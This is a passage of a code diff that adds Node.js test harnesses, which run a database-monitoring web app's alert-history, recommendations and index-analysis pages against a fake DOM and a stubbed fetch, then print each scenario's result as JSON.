+      out.rows = bodyRows(main).length;
+      out.dismissedWord = bodyRows(main)[0].textContent.includes("Dismissed");
+      out.firstHasBox = bodyRows(main)[0].all("input").length;
+    },
+    async all() {
+      alertsReply = { alerts: [row(1), row(2), row(3, { dismissed: true }), row(4, { server_name: "srv-b", server_id: 2 })], truncated: false };
+      const main = newMain(); await renderAlerts(main);
+      // the filter box narrows to srv-b: Dismiss All acts on what is shown
+      const f = main.all("input").find((i) => i.attrs.type === "text"); f.value = "srv-b"; f.fire("input");
+      button(main, "Dismiss All").fire("click"); await tick();
+      out.filtered = posts.map((p) => p.req.alerts.map((a) => a.server_id));
+      posts.length = 0;
+      f.value = ""; f.fire("input");
+      alertsReply = { alerts: [], truncated: false };
+      button(main, "Dismiss All").fire("click"); await tick();
+      out.all = posts.map((p) => ({ url: p.url, contentType: p.contentType, keys: p.req.alerts }));
+    },
+    async chunks() {
+      const many = Array.from({ length: 1500 }, (_, i) => row(i + 1, { alert_time: new Date(T0 - 60000 - i * 30000).toISOString() })); // 30 s apart so all 1500 sit inside the default day
+      alertsReply = { alerts: many, truncated: false };
+      const main = newMain(); await renderAlerts(main);
+      alertsReply = { alerts: [], truncated: false };
+      button(main, "Dismiss All").fire("click"); await tick();
+      out.sizes = posts.map((p) => p.req.alerts.length);
+      out.status = statusOf(main).textContent;
+    },
+    async survives() {
+      alertsReply = { alerts: [row(1), row(2)], truncated: false };
+      const main = newMain(); await renderAlerts(main);
+      check(boxes(main)[1]);
+      // the 60 s poll lands on the same page, then the page is left and re-opened
+      alertsReply = { alerts: [row(0), row(1), row(2)], truncated: false };
+      await renderAlerts(main);
+      out.afterPoll = boxes(main).map((b) => b.checked);
+      const second = newMain(); await renderAlerts(second);
+      out.afterReopen = boxes(second).map((b) => b.checked);
+      out.label = button(second, "Dismiss Selected").textContent;
+      // a changed filter clears it
+      const sel = byLabel(second, "Row limit"); await pick(sel, 500);
+      out.afterFilter = boxes(second).map((b) => b.checked);
+    },
+    async refused() {
+      alertsReply = { alerts: [row(1), row(2)], truncated: false };
+      const main = newMain(); await renderAlerts(main);
+      check(boxes(main)[0]);
+      postReply = () => ({ status: 403, body: { error: "This seat is read-only." } });
+      button(main, "Dismiss Selected").fire("click"); await tick();
+      out.status = statusOf(main).textContent;
+      out.rows = bodyRows(main).length;
+      out.stillChecked = boxes(main)[0].checked;
+      postReply = () => ({ status: 401, body: { error: "Session expired" } });
+      button(main, "Dismiss Selected").fire("click"); await tick();
+      out.status401 = statusOf(main).textContent;
+    },
+    async truncatedPrompt() {
+      alertsReply = { alerts: [row(1), row(2)], truncated: true };
+      const main = newMain(); await renderAlerts(main);
+      alertsReply = { alerts: [], truncated: false };
+      button(main, "Dismiss All").fire("click"); await tick();
+      out.truncatedAsk = confirms[0];
+      confirms.length = 0;
+      alertsReply = { alerts: [row(1), row(2)], truncated: false };
+      const again = newMain(); await renderAlerts(again);
+      alertsReply = { alerts: [], truncated: false };
+      button(again, "Dismiss All").fire("click"); await tick();
+      out.fullAsk = confirms[0];
+    },
+    async copy() {
+      const texts = [];
+      Object.defineProperty(globalThis, "navigator", { value: { clipboard: { writeText: async (t) => { texts.push(t); } } }, configurable: true, writable: true });
+      alertsReply = { alerts: [row(1), row(2)], truncated: false };
+      const main = newMain(); await renderAlerts(main);
+      const tr = bodyRows(main)[0];
+      const tbody = main.all("table")[0].children[1];
+      tbody.fire("click", { target: { closest: () => tr.children[2] } });
+      button(main, "Copy all").fire("click"); await tick();
+      button(main, "Copy row").fire("click"); await tick();
+      out.copyAll = texts[0];
+      out.copyRow = texts[1];
+      out.cells = tr.children.length;
+    },
+    async failedPoll() {
+      alertsReply = { alerts: [row(1), row(2)], truncated: false };
+      const main = newMain(); await renderAlerts(main);
+      check(boxes(main)[1]);
+      readFails = true;
+      await renderAlerts(main);
+      out.labelAfterFailedRead = button(main, "Dismiss Selected").textContent;
+      readFails = false;
+      await renderAlerts(main);
+      out.afterGoodRead = boxes(main).map((b) => b.checked);
+      out.labelAfterGoodRead = button(main, "Dismiss Selected").textContent;
+    },
+    async tickedInFlight() {
+      alertsReply = { alerts: [row(1), row(2), row(3)], truncated: false };
+      const main = newMain(); await renderAlerts(main);
+      check(boxes(main)[0]);
+      let release; postGate = new Promise((res) => { release = res; });
+      alertsReply = { alerts: [row(2), row(3)], truncated: false };
+      button(main, "Dismiss Selected").fire("click");
+      await tick();
+      check(boxes(main)[2]); // ticked while the request is in flight
+      release(); postGate = null; await tick();
+      out.sent = posts.map((p) => p.req.alerts.map((a) => a.metric_name));
+      out.label = button(main, "Dismiss Selected").textContent;
+      out.checked = boxes(main).map((b) => b.checked);
+    },
+    async counts() {
+      alertsReply = { alerts: [row(1), row(2), row(3), row(4)], truncated: false };
+      const main = newMain(); await renderAlerts(main);
+      postReply = (req) => ({ status: 200, body: { requested: 4, dismissed: 1, already_dismissed: 0, unknown: 3 } });
+      alertsReply = { alerts: [], truncated: false };
+      button(main, "Dismiss All").fire("click"); await tick();
+      out.status = statusOf(main).textContent;
+    },
+  };
+  await scenarios[scenario]();
+  console.log(JSON.stringify(out));
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
diff --git a/Darling/Darling.Tests/alert-history-range-harness.mjs b/Darling/Darling.Tests/alert-history-range-harness.mjs
new file mode 100644
index 0000000000..628e8c76d1
--- /dev/null
+++ b/Darling/Darling.Tests/alert-history-range-harness.mjs
@@ -0,0 +1,212 @@
+/* Runs the shipped Alert History page (wwwroot/js/pages/alerts.js) with the real shared renderer (panels.js, util.js,
+   mute-context.js) on a small fake DOM and a recording fetch, and prints as one line of JSON what the page asked for
+   and drew. AlertHistoryRangeBehaviourTests starts it as
+       node alert-history-range-harness.mjs <path to wwwroot/js> <scenario> [IANA time zone]
+   Only the DOM, fetch and charts.js are stand-ins. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+import { pickRange, pickerText, pickerItems, popupShape, withDocumentListeners } from "./web-picker-driver.mjs";
+
+class FakeNode {
+  constructor(tag) {
+    this.tag = tag; this.children = []; this.attrs = {}; this.listeners = {}; this.parent = null; this._text = "";
+    this.className = ""; this.dataset = {}; this.value = ""; this.checked = false; this.open = false; this.isRoot = false;
+  }
+  get firstChild() { return this.children[0] || null; }
+  get nextSibling() { const i = this.parent ? this.parent.children.indexOf(this) : -1; return i >= 0 ? this.parent.children[i + 1] || null : null; }
+  get isConnected() { let n = this; while (n.parent) n = n.parent; return n.isRoot; }
+  get textContent() { return this._text + this.children.map((c) => c.textContent).join(""); }
+  set textContent(v) { this._text = String(v); this.children.forEach((c) => (c.parent = null)); this.children = []; }
+  setAttribute(k, v) { this.attrs[k] = String(v); }
+  getAttribute(k) { return k in this.attrs ? this.attrs[k] : null; }
+  appendChild(c) { if (c.parent) c.parent.children = c.parent.children.filter((x) => x !== c); c.parent = this; this.children.push(c); return c; }
+  insertBefore(c, ref) {
+    if (c.parent) c.parent.children = c.parent.children.filter((x) => x !== c);
+    c.parent = this;
+    const i = ref ? this.children.indexOf(ref) : -1;
+    if (i < 0) this.children.push(c); else this.children.splice(i, 0, c);
+    return c;
+  }
+  removeChild(c) { this.children = this.children.filter((x) => x !== c); c.parent = null; }
+  remove() { if (this.parent) this.parent.removeChild(this); }
+  addEventListener(t, fn) { (this.listeners[t] ||= []).push(fn); }
+  fire(t, e = {}) { for (const fn of this.listeners[t] || []) fn({ preventDefault() {}, ...e }); }
+  querySelector(sel) { const [a, b] = sel.split(" "); const first = this.all(a)[0] || null; return b && first ? first.all(b)[0] || null : first; }
+  querySelectorAll(tag) { return this.all(tag); }
+  all(tag, acc = []) { for (const c of this.children) { if (c.tag === tag) acc.push(c); c.all(tag, acc); } return acc; }
+}
+class FakeText extends FakeNode { constructor(t) { super("#text"); this._text = t; } }
+globalThis.Node = FakeNode;
+globalThis.document = withDocumentListeners({ createElement: (t) => new FakeNode(t), createTextNode: (t) => new FakeText(t) });
+globalThis.location = { hash: "#/alerts" };
+
+const jsDir = process.argv[2];
+const scenario = process.argv[3];
+// Node on Windows ignores a TZ variable set before it starts, but honours one set on process.env from inside, so the zone is an argument
+// (#5570 r2 H1): the page's time parsing must give the same answer in every browser zone, and a harness stuck in UTC cannot show that.
+if (process.argv[4]) process.env.TZ = process.argv[4];
+
+const urls = [];
+let alertsReply = { alerts: [], truncated: false };
+const servers = { servers: [{ server_name: "srv-a", display_name: "Server A" }, { server_name: "srv-b" }] };
+globalThis.fetch = async (url) => {
+  const u = String(url);
+  urls.push(u);
+  let body = {};
+  if (u.startsWith("/api/session")) body = { can_edit: true };
+  else if (u.includes("/api/catalog")) body = { reads: [{ name: "get_alert_history", params: [{ name: "hours", collector: null, collector_interval_minutes: null, max_hours: 2160 }] }] };
+  else if (u.includes("/list_servers")) body = servers;
+  else if (u.includes("/get_alert_history")) body = typeof alertsReply === "function" ? alertsReply(u) : alertsReply;
+  return { status: 200, ok: true, text: async () => JSON.stringify(body) };
+};
+const readsOf = () => urls.filter((u) => u.includes("/get_alert_history")).map((u) => Object.fromEntries(new URL(u, "http://x").searchParams));
+
+const T0 = Date.now();
+const row = (i, over = {}) => ({
+  // The server's shape: alert_time is r.AlertTime.ToString("o") of a naive-UTC timestamp, so seven fraction digits and NO zone suffix
+  // (#5570 r2 H1). toISOString() would add a Z, which hides a reader that parses the text as local time.
+  alert_time: new Date(T0 - 60000 - i * 60000).toISOString().replace("Z", "0000"),
+  server_id: 1, server_name: "srv-a", stored_server_name: "srv-a", metric_name: "High CPU " + i,
+  current_value: 90, threshold_value: 80, severity: "warning", severity_source: "fired", dismissed: false, ...over,
+});
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "alert-range-"));
+try {
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module that
+     another PR adds then needs no edit here. Only imported files load, so the rest are inert; every stand-in below is
+     written AFTER the copy, so it still replaces the real file. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  fs.writeFileSync(
+    path.join(scratch, "charts.js"),
+    'import { el } from "./util.js";\nexport const SERIES_COLORS = [];\nexport function normalizeColor(c) { return c; }\nexport function renderLineChart() { return el("div", {}); }\nexport function zoomableLineChart() { return el("div", {}); }\nexport function chartZoomScope() { return null; }\n'
+  );
+  const { renderAlerts } = await import(pathToFileURL(path.join(scratch, "pages", "alerts.js")).href);
+
+  const newMain = () => { const m = new FakeNode("main"); m.isRoot = true; return m; };
+  const selects = (main) => main.all("select");
+  const byLabel = (main, label) => selects(main).find((s) => s.attrs["aria-label"] === label);
+  const checkbox = (main) => main.all("input").find((i) => i.attrs.type === "checkbox");
+  const pick = async (sel, value) => { sel.value = String(value); sel.fire("change"); await new Promise((r) => setTimeout(r, 20)); };
+  const bodyRows = (main) => { const t = main.all("table")[0]; return t ? t.children[1].children : []; };
+  const metrics = (main) => bodyRows(main).map((tr) => tr.children[3].textContent);
+  const settle = () => new Promise((r) => setTimeout(r, 20));
+  const out = {};
+
+  const scenarios = {
+    async reads() {
+      alertsReply = { alerts: [row(1)], truncated: false };
+      const main = newMain();
+      await renderAlerts(main);
+      out.first = readsOf().pop();
+      urls.length = 0; pickRange(main, "Time range", "168h"); await settle(); out.window = readsOf().pop();
+      urls.length = 0; await pick(byLabel(main, "Row limit"), 1000); out.limit = readsOf().pop();
+      urls.length = 0; await pick(byLabel(main, "Server"), "srv-b"); out.server = readsOf().pop();
+      const cb = checkbox(main);
+      urls.length = 0; cb.checked = true; cb.fire("change"); await settle(); out.dismissed = readsOf().pop();
+      out.windowOptions = pickerItems(main, "Time range").filter((i) => !i.disabled).map((i) => i.name);
+      out.windowGreyed = pickerItems(main, "Time range").filter((i) => i.disabled).map((i) => i.name);
+      out.windowShape = popupShape(main, "Time range");
+      out.refused = pickRange(main, "Time range", "120d");
+      urls.length = 0; pickRange(main, "Time range", "yesterday"); await settle(); out.finished = readsOf().pop();
+      urls.length = 0; pickRange(main, "Time range", "30m"); await settle(); out.thirtyMinutes = readsOf().pop();
+      out.limitOptions = byLabel(main, "Row limit").children.map((o) => o.attrs.value);
+      out.serverOptions = byLabel(main, "Server").children.map((o) => o.attrs.value);
+    },
+    async survive() {
+      alertsReply = { alerts: [row(1)], truncated: false };
+      const first = newMain();
+      await renderAlerts(first);
+      pickRange(first, "Time range", "4h"); await settle();
+      await pick(byLabel(first, "Row limit"), 500);
+      await pick(byLabel(first, "Server"), "srv-a");
+      const cb = checkbox(first); cb.checked = true; cb.fire("change"); await settle();
+      // the 60 s poll: the same still-open page
+      urls.length = 0; await renderAlerts(first); out.poll = readsOf();
+      // a visit elsewhere and back: a fresh main
+      const second = newMain();
+      urls.length = 0; await renderAlerts(second);
+      out.back = readsOf();
+      out.shown = {
+        window: pickerText(second, "Time range"), limit: byLabel(second, "Row limit").value,
+        server: byLabel(second, "Server").value, dismissed: checkbox(second).checked,
+      };
+    },
+    async truncated() {
+      alertsReply = { alerts: [row(1), row(2)], truncated: true };
+      const a = newMain(); await renderAlerts(a); out.truncated = a.textContent.includes("More alerts exist");
+      alertsReply = { alerts: [row(1)], truncated: false };
+      const b = newMain(); await renderAlerts(b); out.notTruncated = b.textContent.includes("More alerts exist");
+      alertsReply = { alerts: [row(1), row(2)], truncated: true };
+      await renderAlerts(b); out.pollTruncated = b.textContent.includes("More alerts exist");
+      alertsReply = { alerts: [row(1)], truncated: false };
+      await renderAlerts(b); out.pollCleared = b.textContent.includes("More alerts exist");
+    },
+    async dismissed() {
+      alertsReply = { alerts: [row(1), row(2, { dismissed: true })], truncated: false };
+      const main = newMain(); await renderAlerts(main);
+      out.classes = bodyRows(main).map((tr) => tr.className);
+      // a dismissed row that arrives on a later reconcile is marked too
+      alertsReply = { alerts: [row(0, { dismissed: true }), row(1), row(2, { dismissed: true })], truncated: false };
+      await renderAlerts(main);
+      out.afterPoll = bodyRows(main).map((tr) => tr.className);
+    },
+    async dismissedLater() {
+      alertsReply = { alerts: [row(1), row(2)], truncated: false };
+      const main = newMain(); await renderAlerts(main);
+      out.before = bodyRows(main).map((tr) => tr.className);
+      out.beforeStatus = bodyRows(main).map((tr) => tr.textContent.includes("Dismissed"));
+      // the same alerts on the next poll, the second one dismissed in between
+      alertsReply = { alerts: [row(1), row(2, { dismissed: true })], truncated: false };
+      await renderAlerts(main);
+      out.after = bodyRows(main).map((tr) => tr.className);
+      out.afterStatus = bodyRows(main).map((tr) => tr.textContent.includes("Dismissed"));
+      out.afterTitle = bodyRows(main).map((tr) => tr.getAttribute("title"));
+      out.order = metrics(main);
+      // and restored again
+      alertsReply = { alerts: [row(1), row(2)], truncated: false };
+      await renderAlerts(main);
+      out.restored = bodyRows(main).map((tr) => tr.className);
+    },
+    async sharedName() {
+      alertsReply = { alerts: [row(1, { server_id: 1 }), row(1, { server_id: 2 })], truncated: false };
+      const main = newMain(); await renderAlerts(main);
+      out.rows = bodyRows(main).length;
+    },
+    async reconcile() {
+      alertsReply = { alerts: [row(1), row(3), row(5)], truncated: false };
+      const main = newMain(); await renderAlerts(main);
+      const keep = bodyRows(main)[0];
+      out.before = metrics(main);
+      // a narrower window: the oldest row leaves, a newer one lands first, one lands in the middle
+      alertsReply = { alerts: [row(0), row(1), row(2), row(3)], truncated: false };
+      pickRange(main, "Time range", "4h"); await settle();
+      out.after = metrics(main);
+      out.keptNode = bodyRows(main)[1] === keep;
+      alertsReply = { alerts: [row(3)], truncated: false };
+      pickRange(main, "Time range", "1h"); await settle();
+      out.shrunk = metrics(main);
+    },
+    async trim() {
+      // Review r1 H2: the read takes whole hours, so a 5 or 30 minute range lists only the alerts inside it. Rows are 1, 20 and 90 minutes old.
+      alertsReply = { alerts: [row(0), row(19), row(89)], truncated: false };
+      const main = newMain(); await renderAlerts(main);
+      out.day = metrics(main);
+      pickRange(main, "Time range", "5m"); await settle(); out.fiveMinutes = metrics(main);
+      pickRange(main, "Time range", "30m"); await settle(); out.thirtyMinutes = metrics(main);
+      pickRange(main, "Time range", "4h"); await settle(); out.fourHours = metrics(main);
+      out.tzOffsetMinutes = new Date().getTimezoneOffset();
+    },
+    async mute() {
+      alertsReply = { alerts: [row(1)], truncated: false };
+      const main = newMain(); await renderAlerts(main);
+      out.links = main.all("a").map((a) => a.textContent + " " + a.attrs.href);
+    },
+  };
+  await scenarios[scenario]();
+  console.log(JSON.stringify(out));
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
diff --git a/Darling/Darling.Tests/analysis-findings-harness.mjs b/Darling/Darling.Tests/analysis-findings-harness.mjs
new file mode 100644
index 0000000000..d8d98b0dc0
--- /dev/null
+++ b/Darling/Darling.Tests/analysis-findings-harness.mjs
@@ -0,0 +1,160 @@
+/* Runs the shipped Recommendations tab (wwwroot/js/pages/analysis-findings.js) against a recording fetch and a
+   node-tree DOM, and prints the result of a scenario as one line of JSON.
+       node analysis-findings-harness.mjs <path to wwwroot/js> <scenario> */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const [jsDir, scenario] = process.argv.slice(-2);
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.handlers = {};
+    this.text = text == null ? null : String(text);
+    this.open = false;
+  }
+  get firstChild() { return this.children[0] || null; }
+  appendChild(c) { this.children.push(c); return c; }
+  removeChild(c) { const i = this.children.indexOf(c); if (i >= 0) this.children.splice(i, 1); return c; }
+  setAttribute(n, v) { this.attrs[n] = String(v); if (n === "open") this.open = true; }
+  getAttribute(n) { return n in this.attrs ? this.attrs[n] : null; }
+  addEventListener(t, fn) { this.handlers[t] = fn; }
+  set textContent(v) { this.children = []; this.text = String(v); }
+  get textContent() { return (this.text || "") + this.children.map((c) => c.textContent).join(""); }
+}
+globalThis.Node = FakeNode;
+globalThis.document = {
+  createElement: (t) => new FakeNode(t),
+  createTextNode: (t) => new FakeNode("#text", t),
+  body: new FakeNode("body"),
+};
+
+const all = (n, pred, out = []) => { if (pred(n)) out.push(n); n.children.forEach((c) => all(c, pred, out)); return out; };
+const byTag = (n, tag) => all(n, (x) => x.tag === tag);
+const clipboard = [];
+Object.defineProperty(globalThis, "navigator", { value: { clipboard: { writeText: async (t) => { clipboard.push(t); } } }, configurable: true });
+
+const fetches = [];
+let body = "{}";
+const signals = [];
+globalThis.fetch = async (url, opts) => { fetches.push(String(url)); signals.push(opts && opts.signal ? opts.signal : null); return { status: 200, ok: true, text: async () => body }; };
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "analysis-findings-"));
+try {
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module that
+     another PR adds then needs no edit here. Only imported files load, so the rest are inert. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  const mod = await import(pathToFileURL(path.join(scratch, "pages", "analysis-findings.js")).href);
+
+  const finding = (over) => ({
+    severity: 2, category: "cpu", story_path: "path", incident_id: "inc-1", occurrences: 3,
+    last_seen: "2026-01-01T00:00:00Z", time_range: { start: "2026-01-01T00:00:00Z", end: "2026-01-01T01:00:00Z" },
+    advice: { headline: "Head", investigation: "Look here", remediation: "Do this" }, ...over,
+  });
+  const FIX = "ALTER DATABASE <b>x</b> SET AUTO_SHRINK OFF;";
+  const sample = [
+    finding({ finding_id: 1, severity: 0.9, advice: { headline: "Minor", investigation: "i", remediation: "r" } }),
+    finding({ finding_id: 2, severity: 2.1, advice: { headline: "Major", investigation: "i", remediation: "r" } }),
+    finding({ finding_id: 3, severity: 0.2, incident_id: "", advice: { headline: "Solo info", investigation: "i", remediation: "r" } }),
+    finding({ finding_id: 4, severity: 1.6, incident_id: "inc-2", remediation_command: FIX, structured_remediation: null, is_config_fix: true, advice: { headline: "Config", investigation: "i", remediation: "r" } }),
+  ];
+  const settle = () => new Promise((r) => setTimeout(r, 20));
+  const run = async (server, payload, ctx) => {
+    fetches.length = 0;
+    body = JSON.stringify(payload || { findings: sample });
+    const root = mod.analysisFindingsTab.build(server, ctx || { hours: 24, label: "last 24 hours" });
+    await settle();
+    return root[0];
+  };
+  const groupsOf = (root) => byTag(root, "details");
+  const sum = (d) => d.children[0].textContent;
+
+  const scenarios = {
+    read: async () => {
+      await run("srv-a");
+      const u = new URL(fetches[0], "http://x.test");
+      return { path: u.pathname, params: Object.fromEntries(u.searchParams) };
+    },
+    grouping: async () => {
+      const root = await run("srv-a");
+      const groups = groupsOf(root);
+      return {
+        headers: groups.map(sum),
+        cardsPerGroup: groups.map((g) => byTag(g, "h4").length),
+        open: groups.map((g) => g.open),
+        order: ["Critical", "Warning", "Info"].map((l) => root.textContent.indexOf(l)),
+        badgeClasses: byTag(root, "span").filter((s) => /^badge /.test(s.className)).map((s) => s.className),
+      };
+    },
+    fix: async () => {
+      const root = await run("srv-a");
+      const pre = byTag(root, "pre");
+      const copy = byTag(root, "button").find((b) => b.textContent === "Copy fix");
+      copy.handlers.click();
+      await settle();
+      return { pre: pre.map((p) => p.textContent), preChildren: pre.map((p) => p.children.length), clipboard, label: copy.textContent, buttons: byTag(root, "button").length };
+    },
+    link: async () => {
+      const root = await run("srv-a");
+      return byTag(root, "a").map((a) => a.attrs.href);
+    },
+    linkKinds: async () => {
+      // A force-plan incident carries structured_remediation but is not a config fix; a config fix carries is_config_fix.
+      const forcePlan = finding({ finding_id: 1, incident_id: "a", structured_remediation: { eligible: true }, is_config_fix: false, advice: { headline: "ForcePlan", investigation: "i", remediation: "r" } });
+      const config = finding({ finding_id: 2, incident_id: "b", structured_remediation: null, is_config_fix: true, advice: { headline: "ConfigFix", investigation: "i", remediation: "r" } });
+      const root = await run("srv-a", { findings: [forcePlan, config] });
+      return groupsOf(root).map((g) => ({ head: sum(g), links: byTag(g, "a").length }));
+    },
+    nullSeverity: async () => {
+      const root = await run("srv-a", { findings: [finding({ finding_id: 1, severity: null })] });
+      return { text: root.textContent };
+    },
+    truncation: async () => {
+      const root = await run("srv-a", { findings: sample, truncated: true, truncation_note: "READ-CAP-NOTE", findings_truncated: true, findings_truncated_note: "PAGE-NOTE" });
+      return { text: root.textContent };
+    },
+    replicaNote: async () => {
+      /* #5558: the secondary-copy note shows with a list and with an empty chain list, and is absent when the read carries none. */
+      const note = "REPLICA-NOTE";
+      const withFindings = await run("srv-a", { findings: sample, secondary_replica_note: note });
+      const noFindings = await run("srv-a", { findings: [], secondary_replica_note: note });
+      const without = await run("srv-a", { findings: sample });
+      const nullNote = await run("srv-a", { findings: sample, secondary_replica_note: null });
+      return { withFindings: withFindings.textContent, noFindings: noFindings.textContent, without: without.textContent, nullNote: nullNote.textContent };
+    },
+    signal: async () => {
+      const ac = new AbortController();
+      await run("srv-a", null, { hours: 24, label: "x", signal: ac.signal });
+      return { passed: signals[0] != null };
+    },
+    rebuild: async () => {
+      let root = await run("srv-a");
+      let g = groupsOf(root);
+      // Reader closes the Critical group and opens the Info group, then the 60 s poll rebuilds the tab.
+      g[0].open = false; g[0].handlers.toggle();
+      g[2].open = true; g[2].handlers.toggle();
+      root = await run("srv-a");
+      const again = groupsOf(root).map((x) => x.open);
+      root = await run("srv-b");
+      const other = groupsOf(root).map((x) => x.open);
+      return { again, other };
+    },
+    empty: async () => {
+      body = JSON.stringify({ status: "empty", message: "No findings in the requested time range." });
+      const root = mod.analysisFindingsTab.build("srv-e", { hours: 24, label: "x" });
+      await settle();
+      return { text: root[0].textContent };
+    },
+  };
+  console.log(JSON.stringify(await scenarios[scenario]()));
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
diff --git a/Darling/Darling.Tests/finops-index-analysis-limit-harness.mjs b/Darling/Darling.Tests/finops-index-analysis-limit-harness.mjs
new file mode 100644
index 0000000000..19dc25f35b
--- /dev/null
+++ b/Darling/Darling.Tests/finops-index-analysis-limit-harness.mjs
@@ -0,0 +1,173 @@
+/* Runs the shipped Index Analysis tab (wwwroot/js/pages/finops/index-analysis.js) against a recording fetch and a node-tree DOM,
+   and prints as one line of JSON what it asked for and which notices it drew (#5238): the first read's limit, the notice for a
+   list the read cut, for a cut list of one database, for a list that fits, for a list of exactly the limit that cuts nothing and for a list
+   cut one row short of whole, and the stored spelling the shared Database box sends for a typed name that differs only by case.
+       node finops-index-analysis-limit-harness.mjs <path to wwwroot/js> */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const jsDir = process.argv[2];
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.value = "";
+    this.checked = false;
+    this.handlers = {};
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  appendChild(child) {
+    this.children.push(child);
+    return child;
+  }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener(type, fn) {
+    this.handlers[type] = fn;
+  }
+  get isConnected() {
+    return true;
+  }
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+};
+
+const fetches = [];
+let body = "{}";
+globalThis.fetch = async (url) => {
+  fetches.push(String(url));
+  return { status: 200, ok: true, text: async () => body };
+};
+
+const paramsOf = (url) => Object.fromEntries(new URL(url, "http://viewer.test").searchParams.entries());
+const findAll = (node, test, out = []) => {
+  if (test(node)) out.push(node);
+  node.children.forEach((c) => findAll(c, test, out));
+  return out;
+};
+const byTag = (tag) => (n) => n.tag === tag;
+const noticeTexts = (root) => findAll(root, (n) => String(n.className).split(" ").includes("notice")).map((n) => n.textContent);
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "index-analysis-limit-"));
+try {
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module that
+     another PR adds then needs no edit here. Only imported files load, so the rest are inert; every stand-in below is
+     written AFTER the copy, so it still replaces the real file. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  fs.writeFileSync(
+    path.join(scratch, "charts.js"),
+    'import { el } from "./util.js";\nexport const SERIES_COLORS = [];\nexport function normalizeColor(c) { return c; }\nexport function renderLineChart() { return el("div", {}); }\n' +
+      'export function zoomableLineChart() { return el("div", {}); }\nexport function chartZoomScope() { return ""; }\n'
+  );
+  const { tab } = await import(pathToFileURL(path.join(scratch, "pages", "finops", "index-analysis.js")).href);
+  const settle = () => new Promise((r) => setTimeout(r, 30));
+
+  const rec = (i) => ({ action: "DISABLE", database_name: "Alpha", schema_name: "dbo", table_name: "T" + i, index_name: "IX" + i, index_size_gb: 1 });
+  // The read's envelope, with `shown` recommendations out of `total`, cut when total is more than the limit it was asked for.
+  const payload = (shown, total, limit) => ({
+    uptime_warning: false,
+    dedupe_only_applied: false,
+    notes: [],
+    overall: { total_max_savings_gb: 1 },
+    database_count: 1,
+    databases_truncated: false,
+    databases: [{ database_name: "Alpha", total_max_savings_gb: 1 }],
+    recommendation_count: total,
+    truncated: total > shown,
+    limit,
+    recommendations: Array.from({ length: shown }, (_, i) => rec(i)),
+  });
+  const seen = () => fetches.map(paramsOf).map((p) => ({ view: p.view, limit: p.limit ?? null, database_name: p.database_name ?? null }));
+  const out = {};
+
+  // A server with more findings than the read lists: 500 of 612 come back.
+  body = JSON.stringify(payload(500, 612, 500));
+  fetches.length = 0;
+  let root = tab.build("srv-a", {});
+  await settle();
+  out.cut = { reads: seen(), notices: noticeTexts(root) };
+
+  // The reader picks a database that also has more findings than the limit lists: the notice does not send them to the box again.
+  body = JSON.stringify(payload(500, 503, 500));
+  fetches.length = 0;
+  const box = findAll(root, byTag("input")).find((n) => n.attrs.type === "text");
+  box.value = "Alpha";
+  box.handlers.change();
+  await settle();
+  out.filtered = { reads: seen(), notices: noticeTexts(root) };
+
+  // A list that fits.
+  body = JSON.stringify(payload(3, 3, 500));
+  fetches.length = 0;
+  root = tab.build("srv-b", {});
+  await settle();
+  out.fits = { reads: seen(), notices: noticeTexts(root) };
+
+  // Exactly as many findings as the limit lists: nothing is below the cut, so nothing says there is.
+  body = JSON.stringify(payload(500, 500, 500));
+  fetches.length = 0;
+  root = tab.build("srv-c", {});
+  await settle();
+  out.exact = { reads: seen(), notices: noticeTexts(root) };
+
+  // One finding more than the limit lists: the notice counts the one left over in the singular.
+  body = JSON.stringify(payload(500, 501, 500));
+  fetches.length = 0;
+  root = tab.build("srv-d", {});
+  await settle();
+  out.oneOver = { reads: seen(), notices: noticeTexts(root) };
+
+  // The shared Database box sends the stored spelling (#5244 L8c): a typed "alpha" goes as the listed "Alpha"; a name no list holds goes as typed.
+  body = JSON.stringify(payload(3, 3, 500));
+  root = tab.build("srv-e", {});
+  await settle();
+  const stored = findAll(root, byTag("input")).find((n) => n.attrs.type === "text");
+  fetches.length = 0;
+  stored.value = "alpha";
+  stored.handlers.input();
+  stored.handlers.change();
+  await settle();
